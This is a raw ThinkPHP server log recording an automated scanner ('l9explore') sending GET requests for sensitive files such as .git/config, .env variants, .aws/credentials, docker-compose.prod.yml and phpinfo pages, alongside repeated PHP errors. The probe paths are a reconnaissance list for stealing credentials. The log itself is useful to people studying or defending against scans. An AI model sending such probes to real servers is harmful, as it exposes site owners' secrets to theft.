RUN ] app\index\controller\Index->index[ /data/wwwroot/tianwei/think/application/index/controller/Index.php ] [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T13:39:46+08:00 ] 179.43.168.146 GET 59.110.137.245/src/.git/config [运行时间:0.006991s] [吞吐率:143.04req/s] [内存消耗:132.32kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'src', 2 => '.git', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T13:39:46+08:00 ] 179.43.168.146 GET 59.110.137.245/config/.env [运行时间:0.002077s] [吞吐率:481.44req/s] [内存消耗:132.32kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'config', 2 => '.env', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T13:39:47+08:00 ] 179.43.168.146 GET 59.110.137.245/config/environment.rb [运行时间:0.002078s] [吞吐率:481.22req/s] [内存消耗:132.38kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'config', 2 => 'environment.rb', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T13:39:49+08:00 ] 179.43.168.146 GET 59.110.137.245/static../.git/config [运行时间:0.002378s] [吞吐率:420.52req/s] [内存消耗:132.38kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static..', 2 => '.git', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T13:39:49+08:00 ] 179.43.168.146 GET 59.110.137.245/.env.backup [运行时间:0.002283s] [吞吐率:438.05req/s] [内存消耗:132.34kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '.env.backup', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T13:39:50+08:00 ] 179.43.168.146 GET 59.110.137.245/.env.stage [运行时间:0.002050s] [吞吐率:487.82req/s] [内存消耗:132.34kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '.env.stage', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T13:39:51+08:00 ] 179.43.168.146 GET 59.110.137.245/old_phpinfo.php [运行时间:0.002123s] [吞吐率:471.06req/s] [内存消耗:132.34kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'old_phpinfo.php', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T13:39:51+08:00 ] 179.43.168.146 GET 59.110.137.245/api/.env [运行时间:0.002111s] [吞吐率:473.72req/s] [内存消耗:132.32kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'api', 2 => '.env', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T13:39:52+08:00 ] 179.43.168.146 GET 59.110.137.245/config.json [运行时间:0.002069s] [吞吐率:483.33req/s] [内存消耗:132.34kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'config.json', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T13:39:52+08:00 ] 179.43.168.146 GET 59.110.137.245/media../.git/config [运行时间:0.002193s] [吞吐率:456.00req/s] [内存消耗:132.34kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'media..', 2 => '.git', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T13:39:53+08:00 ] 179.43.168.146 GET 59.110.137.245/docker-compose.prod.yml [运行时间:0.002049s] [吞吐率:488.05req/s] [内存消耗:132.34kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'docker-compose.prod.yml', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T13:39:54+08:00 ] 179.43.168.146 GET 59.110.137.245/.env [运行时间:0.002068s] [吞吐率:483.55req/s] [内存消耗:132.27kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '.env', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T13:39:54+08:00 ] 179.43.168.146 GET 59.110.137.245/.env.save [运行时间:0.002318s] [吞吐率:431.42req/s] [内存消耗:132.30kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '.env.save', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T13:39:55+08:00 ] 179.43.168.146 GET 59.110.137.245/.aws/credentials [运行时间:0.002127s] [吞吐率:470.16req/s] [内存消耗:132.38kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '.aws', 2 => 'credentials', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T13:39:56+08:00 ] 179.43.168.146 GET 59.110.137.245/js/.git/config [运行时间:0.002347s] [吞吐率:426.08req/s] [内存消耗:132.31kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'js', 2 => '.git', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T13:39:56+08:00 ] 179.43.168.146 GET 59.110.137.245/media/.git/config [运行时间:0.002109s] [吞吐率:474.20req/s] [内存消耗:132.34kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'media', 2 => '.git', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T13:39:57+08:00 ] 179.43.168.146 GET 59.110.137.245/.env.dev.local [运行时间:0.002096s] [吞吐率:477.11req/s] [内存消耗:132.34kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '.env.dev.local', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T13:39:58+08:00 ] 179.43.168.146 GET 59.110.137.245/.env.example [运行时间:0.002123s] [吞吐率:471.01req/s] [内存消耗:132.34kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '.env.example', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T13:39:58+08:00 ] 179.43.168.146 GET 59.110.137.245/pinfo.php [运行时间:0.002100s] [吞吐率:476.14req/s] [内存消耗:132.30kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'pinfo.php', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T13:39:59+08:00 ] 179.43.168.146 GET 59.110.137.245/assets../.git/config [运行时间:0.002076s] [吞吐率:481.72req/s] [内存消耗:132.38kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'assets..', 2 => '.git', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T13:40:00+08:00 ] 179.43.168.146 GET 59.110.137.245/dashboard/phpinfo.php [运行时间:0.002086s] [吞吐率:479.35req/s] [内存消耗:132.40kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'dashboard', 2 => 'phpinfo.php', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T13:40:00+08:00 ] 179.43.168.146 GET 59.110.137.245/.env.bak [运行时间:0.002055s] [吞吐率:486.58req/s] [内存消耗:132.30kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '.env.bak', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 'close', ) [ info ] [ PARAM ] array ( ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T13:40:01+08:00 ] 179.43.168.146 GET 59.110.137.245/.env.prod.local [运行时间:0.002045s] [吞吐率:489.02req/s] [内存消耗:132.34kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => '.env.prod.local', 2 => NULL, ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'l9explore/1.2.2', 'accept-encoding' => 'gzip', 'connection' => 